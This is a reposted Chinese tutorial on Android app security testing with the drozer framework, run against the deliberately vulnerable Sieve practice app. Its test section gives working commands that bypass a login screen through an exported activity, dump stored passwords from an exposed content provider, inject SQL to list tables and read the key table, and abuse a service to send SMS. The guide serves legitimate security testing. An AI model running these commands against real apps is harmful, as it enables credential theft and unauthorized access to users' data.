安全测试|移动端安全测试drozer

手机应用的快速增长,手机应用安全成为一个热门的话题,android的安全问题有一大部分的原因是因为android的组件暴露、权限使用不当导致的。

“ 随着互联网应用的普及和人们对互联网的依赖,互联网的安全问题也日益凸显。接下来的小编将带您进入安全测试。”

一、android四大组件

什么是安卓应用组件?安卓主要由四大组件组成,Activity、Service、Content Providers、Broadcast Receivers.

Activity:是一个应用程序的组件,一个activity对应一个界面,是与用户进行交互的。

Activity形态:

Active/Running: Activity处于活动状态,此时Activity处于栈顶,是可见状态,可与用户进行交互。 Paused: 当Activity失去焦点时,或被一个新的非全屏的Activity,或被一个透明的Activity放置在栈顶时,Activity就转化为Paused状态。但我们需要明白,此时Activity只是失去了与用户交互的能力,其所有的状态信息及其成员变量都还存在,只有在系统内存紧张的情况下,才有可能被系统回收掉。 Stopped: 当一个Activity被另一个Activity完全覆盖时,被覆盖的Activity就会进入Stopped状态,此时它不再可见,但是跟Paused状态一样保持着其所有状态信息及其成员变量。 Killed: 当Activity被系统回收掉时,Activity就处于Killed状态。 Activity会在以上四种形态中相互切换,至于如何切换,这因用户的操作不同而异。了解了Activity的4种形态后,我们就来聊聊Activity的生命周期。

Service:Service通常位于后台运行,它一般不需要与用户交互,因此Service组件没有图形用户界面。Service组件需要继承Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。

Content Providers:Content Provider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。只有需要在多个应用程序间共享数据是才需要内容提供者。

Broadcast Receivers:广播接收器没有用户界面。然而,它们可以启动一个activity或service来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力,例如闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

二、环境搭建

android sdk;

adb 安装;

jdk安装,这里需要是哟啊能1.7以下的jdk,使用1.8的会报错,drozer暂不支持1.8的jdk

drozer安装:

Drozer是一个常用的测试框架,它可以分为2个部分,一个是console-它运行在本地的计算机上,一个是server-它运行在android设备上。当你使用console与android设备交互时,基本上就是java代码输入到运行在实际设备上的drozer代理(agent)中。

drozer下载:https://labs.mwrinfosecurity.com/tools/drozer/ 下载drozer(msi)、agent.apk

Drozer安装:windows下点击msi直接安装

agent安装:在测试机上安装agent.apk

sieve安装:下载sieve.apk,该apk是用来作为被测试的app

三、drozer验证

  1. 1.打开cmd,运行adb forward tcp:31415 tcp:31415,如图所示

2.在Android设备上开启Drozer Agent,如图所示:

此时可以看到enable是绿色的了。

3.在pc端cmd切换到drozer安装目前,然后运行 drozer console connect,如图所示:

四、测试

1.获取要测试应用的包名

dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一字段,会列出包含该字段的所有包名

2.获取应用的基本信息

dz>run app.package.info -a com.mwr.example.sieve ,查看该apk详细信息,可以看到应用的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等

3.确定存在可能被攻击的界面

dz>run app.package.attacksurface com.mwr.example.sieve

显示了潜在可以被利用的组件个数: “exported”表示组件可以被其他App使用, services is debuggable表示我们可以用adb绑定一个调试器到进程。暴露出来的3个activity,2个content provider,2个可以被adb绑定的service。

4.activity测试

(1)获取activity信息

dz>run app.activity.info -a com.mwr.example.sieve

可以看到有三个界面是可以被利用的。

(2)启动activity

dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList 通过app.activity.start命令可以不需要密码直接进入passwordList界面

5.Content Provider测试

(1)获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(数据泄露)

先获取所有可以访问的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

dz>run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 查询到数据说明存在漏洞

可以看到此时有一条数据,该条数据是之前在app添加的数据。这里暴露了service、username、password、email的信息。

(3)Content Providers(SQL注入)

content provider的具体信息,包括名字,权限,访问路径等

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入,我们可以继续查询看看有哪些数据。

列出所有表:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

获取某个表(如Key)中的数据:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(4)同时检测SQL注入和目录遍历

dz>run scanner.provider.injection -a com.mwr.example.sieve

5.service测试

(1)获取service详情

dz>run app.service.info -a com.mwr.example.sieve

(2)权限提升

dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

6.broadcast receive测试

(1)查看暴露的广播组件信息:

dz>run app.broadcast.info -a com.package.name  

获取broadcast receivers信息

dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

(2)尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

dz>run app.broadcast.send 通过intent发送broadcast receiver

Drozer之所以称之为框架(framework),因为它允许你编写自己的模块或者插件,扩展你的功能让它试用你的功能。它的另外一个作用是,它本质上市一个不需要任何权限的android app—这实际上是它的组件。

本文分享自微信公众号 - 测试邦(testerbang)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-08-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京宏哥

Appium+python自动化(十五)- Android 这些基础知识,你知多少???(超详解)

  前边具体操作和实战已经讲解和分享了很多了,但是一些android的一些基础知识,你又知道多少了,你都掌握了吗?这篇就由宏哥给小伙伴们既是一个分享,又是对前边...

16940
来自专栏码匠的流水账

聊聊spring boot的ErrorWebFluxAutoConfiguration

本文主要研究一下spring boot的ErrorWebFluxAutoConfiguration

14540
来自专栏菲宇

Django中ListView分页技术

Django中分页非常方便,通过Pagination你可以很方便达到分页效果。今天主要说的是基础视图中ListView的分页处理,本质还是依赖与Paginati...

11830
来自专栏Android干货园

4. Jetpack源码解析—LiveData的使用及工作原理

2. Jetpack源码解析—Navigation为什么切换Fragment会重绘?

18520
来自专栏sktj

IOS 使用Text Kit编排图文

1 let textView = UITextView(frame:CGRect(x:20, y: 40, width:280, height:500)) ...

8220
来自专栏Android技术分享

使用ARouter进行Android模块化开发

关于为什么要进行Android模块化开发,网上也已经讲烂了,不过归结起来,大体是可以总结为:在App开发的初期,代码量不大,业务量比较少,一个App作为一个单独...

31230
来自专栏sktj

IOS 使用Text Kit做排版

1 let firstTextView = UITextView(frame:CGRect(x:20, y:40, width:135, height:200...

10420
来自专栏京程一灯

最近,前端又火了哪些技术

你可以看一下你自己的技术体系和当下流行的技术栈,有多大的区别,以及接下来你该如何去规划自己接下来的学习方向。

17650
来自专栏搜狗测试

Fiddler 还能这么玩?

最近一段时间,团队来了一些新的测试小伙伴,但发现大家对Fiddler的用法还都比较基础,因此总结了一些我个人常用的稍微高级的用法给大家,以便大家发散思考,通过对...

12720
来自专栏菩提树下的杨过

webrtc笔记(1): 基于coturn项目的stun/turn服务器搭建

webrtc是google推出的基于浏览器的实时语音-视频通讯架构。其典型的应用场景为:浏览器之间端到端(p2p)实时视频对话,但由于网络环境的复杂性(比如:路...

69130

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励